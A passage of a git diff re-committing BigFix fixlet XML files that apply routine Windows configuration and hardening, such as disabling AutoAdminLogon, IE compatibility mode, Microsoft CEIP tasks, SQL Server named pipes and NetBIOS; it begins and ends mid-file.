+    <Relevance>name of operating system = &quot;WinXP&quot; OR name of operating system = &quot;WinXP-2003&quot; OR (name of it = &quot;WinVista&quot; and product type of it = nt workstation product type) of operating system OR name of operating system = &quot;Win7&quot;</Relevance>
+    <Relevance>exists value &quot;AutoAdminLogon&quot; whose (0 != it as integer) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of native registry</Relevance>
+    <Category>Registry Edit</Category>
+    <Source>Windows Registry Wizard</Source>
+    <SourceReleaseDate>2026-09-17</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Windows Registry Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 22 Sep 2011 19:38:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here&amp;nbsp;</Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]&quot; &quot;AutoAdminLogon&quot;=&quot;0&quot;</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable IE Compatibility Mode for All Websites for Currently Logged On User (646).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable IE Compatibility Mode for All Websites for Currently Logged On User (646).bes
index 87016493f..dc2b33fec 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable IE Compatibility Mode for All Websites for Currently Logged On User (646).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable IE Compatibility Mode for All Websites for Currently Logged On User (646).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable IE Compatibility Mode for All Websites for Currently Logged On User
-  ID       : 646
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-26T17:16:46
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable IE Compatibility Mode for All Websites for Currently Logged On User</Title>
-    <Description>Disable Internet Explorer Compatibility Mode for All Websites for the Currently Logged On User </Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance><![CDATA[exists value "AllSitesCompatibilityMode" whose (it = 1) of key "Software\Microsoft\Internet Explorer\BrowserEmulation" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)) of registry]]></Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 26 Oct 2012 21:42:32 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "currentUser"="{(name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)}"
-regset "[HKEY_USERS\{parameter "currentUser"}\Software\Microsoft\Internet Explorer\BrowserEmulation]" "AllSitesCompatibilityMode"=dword:00000000
-]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action884">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to source of information.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www.sevenforums.com/tutorials/1220-internet-explorer-compatilbility-view-all-websites.html</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable IE Compatibility Mode for All Websites for Currently Logged On User
+  ID       : 646
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T17:16:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable IE Compatibility Mode for All Websites for Currently Logged On User</Title>
+    <Description>Disable Internet Explorer Compatibility Mode for All Websites for the Currently Logged On User </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[exists value "AllSitesCompatibilityMode" whose (it = 1) of key "Software\Microsoft\Internet Explorer\BrowserEmulation" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)) of registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 26 Oct 2012 21:42:32 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "currentUser"="{(name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)}"
+regset "[HKEY_USERS\{parameter "currentUser"}\Software\Microsoft\Internet Explorer\BrowserEmulation]" "AllSitesCompatibilityMode"=dword:00000000
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action884">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to source of information.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.sevenforums.com/tutorials/1220-internet-explorer-compatilbility-view-all-websites.html</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Microsoft CEIP (3899).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Microsoft CEIP (3899).bes
index d7686fed5..3016df15a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable Microsoft CEIP (3899).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Microsoft CEIP (3899).bes	
@@ -1,54 +1,54 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable Microsoft CEIP
-  ID       : 3899
-  Author   : gavinmclean
-  Domain   : BESC
-  Imported : 2014-10-28T23:00:00
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable Microsoft CEIP</Title>
-    <Description>This fixlet disables the Microsoft Customer Experience Program </Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>(if exists property &quot;in proxy agent context&quot; then (not in proxy agent context) else true) AND (if exists property &quot;android&quot; of type &quot;operating system&quot; then (not android of operating system) else true)</Relevance>
-    <Relevance>not exists (key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows&quot; of native registry) whose (value &quot;CEIPEnable&quot; of it is 0) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Application Experience\AitAgent&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Application Experience\ProgramDataUpdater&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Autochk\Proxy&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Consolidator&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\KernelCeipTask&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerCeipAssistant&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleCollector&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleUsageCollector&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector&quot; and enabled of it)</Relevance>
-    <Category>Configuration</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2014-10-29</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 29 Oct 2014 05:59:28 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable CEIP by registry
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows]&quot; &quot;CEIPEnable&quot;=dword:0
-else
-	regset &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows]&quot; &quot;CEIPEnable&quot;=dword:0
-endif
-
-// Disable associated scheduled tasks
-waithidden schtasks /change /TN &quot;\Microsoft\Windows\Application Experience\AitAgent&quot; /Disable
-waithidden schtasks /change /TN &quot;\Microsoft\Windows\Application Experience\ProgramDataUpdater&quot; /Disable
-waithidden schtasks /change /TN &quot;\Microsoft\Windows\Autochk\Proxy&quot; /Disable
-waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Consolidator&quot; /Disable
-waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\KernelCeipTask&quot; /Disable
-waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip&quot; /Disable
-waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerCeipAssistant&quot; /Disable
-waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleCollector&quot; /Disable
-waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleUsageCollector&quot; /Disable
-waithidden schtasks /change /TN &quot;\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector&quot; /Disable
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Microsoft CEIP
+  ID       : 3899
+  Author   : gavinmclean
+  Domain   : BESC
+  Imported : 2014-10-28T23:00:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Microsoft CEIP</Title>
+    <Description>This fixlet disables the Microsoft Customer Experience Program </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>(if exists property &quot;in proxy agent context&quot; then (not in proxy agent context) else true) AND (if exists property &quot;android&quot; of type &quot;operating system&quot; then (not android of operating system) else true)</Relevance>
+    <Relevance>not exists (key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows&quot; of native registry) whose (value &quot;CEIPEnable&quot; of it is 0) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Application Experience\AitAgent&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Application Experience\ProgramDataUpdater&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Autochk\Proxy&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Consolidator&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\KernelCeipTask&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerCeipAssistant&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleCollector&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleUsageCollector&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector&quot; and enabled of it)</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-10-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 29 Oct 2014 05:59:28 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable CEIP by registry
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows]&quot; &quot;CEIPEnable&quot;=dword:0
+else
+	regset &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows]&quot; &quot;CEIPEnable&quot;=dword:0
+endif
+
+// Disable associated scheduled tasks
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Application Experience\AitAgent&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Application Experience\ProgramDataUpdater&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Autochk\Proxy&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Consolidator&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\KernelCeipTask&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerCeipAssistant&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleCollector&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleUsageCollector&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector&quot; /Disable
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (108).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (108).bes
index 2b54fb712..68ae244a3 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (108).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (108).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable Named Pipes
-  ID       : 108
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:31:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable Named Pipes</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
-    <Relevance><![CDATA[exists value "Enabled" whose (it != 0) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to disable MS SQL Named Pipes.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
-else
-	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
-endif</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Named Pipes
+  ID       : 108
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Named Pipes</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Relevance><![CDATA[exists value "Enabled" whose (it != 0) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to disable MS SQL Named Pipes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
+else
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
+endif</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (642).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (642).bes
index 776915ddf..097824703 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (642).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (642).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Disable Named Pipes
-  ID       : 642
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-26T12:05:06
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Disable Named Pipes</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
-    <Relevance><![CDATA[exists value "Enabled" whose (it != 0) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to disable MS SQL Named Pipes.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
-else
-	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
-endif</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable Named Pipes
+  ID       : 642
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T12:05:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable Named Pipes</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Relevance><![CDATA[exists value "Enabled" whose (it != 0) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to disable MS SQL Named Pipes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
+else
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
+endif</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable NetBios On All Network Adaptors (Requires Restart) (27372).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable NetBios On All Network Adaptors (Requires Restart) (27372).bes
index 20bc6cbcb..0a709d02f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable NetBios On All Network Adaptors (Requires Restart) (27372).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable NetBios On All Network Adaptors (Requires Restart) (27372).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Disable NetBios On All Network Adaptors (Requires Restart)
-  ID       : 27372
-  Author   : justin.lamb
-  Domain   : BESC
-  Imported : 2025-02-20T04:01:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Disable NetBios On All Network Adaptors (Requires Restart)</Title>
-    <Description>Executes a powershell script to update the registry to disable NetBios on all network adaptors</Description>
-    <Relevance>true</Relevance>
-    <Source>Internal</Source>
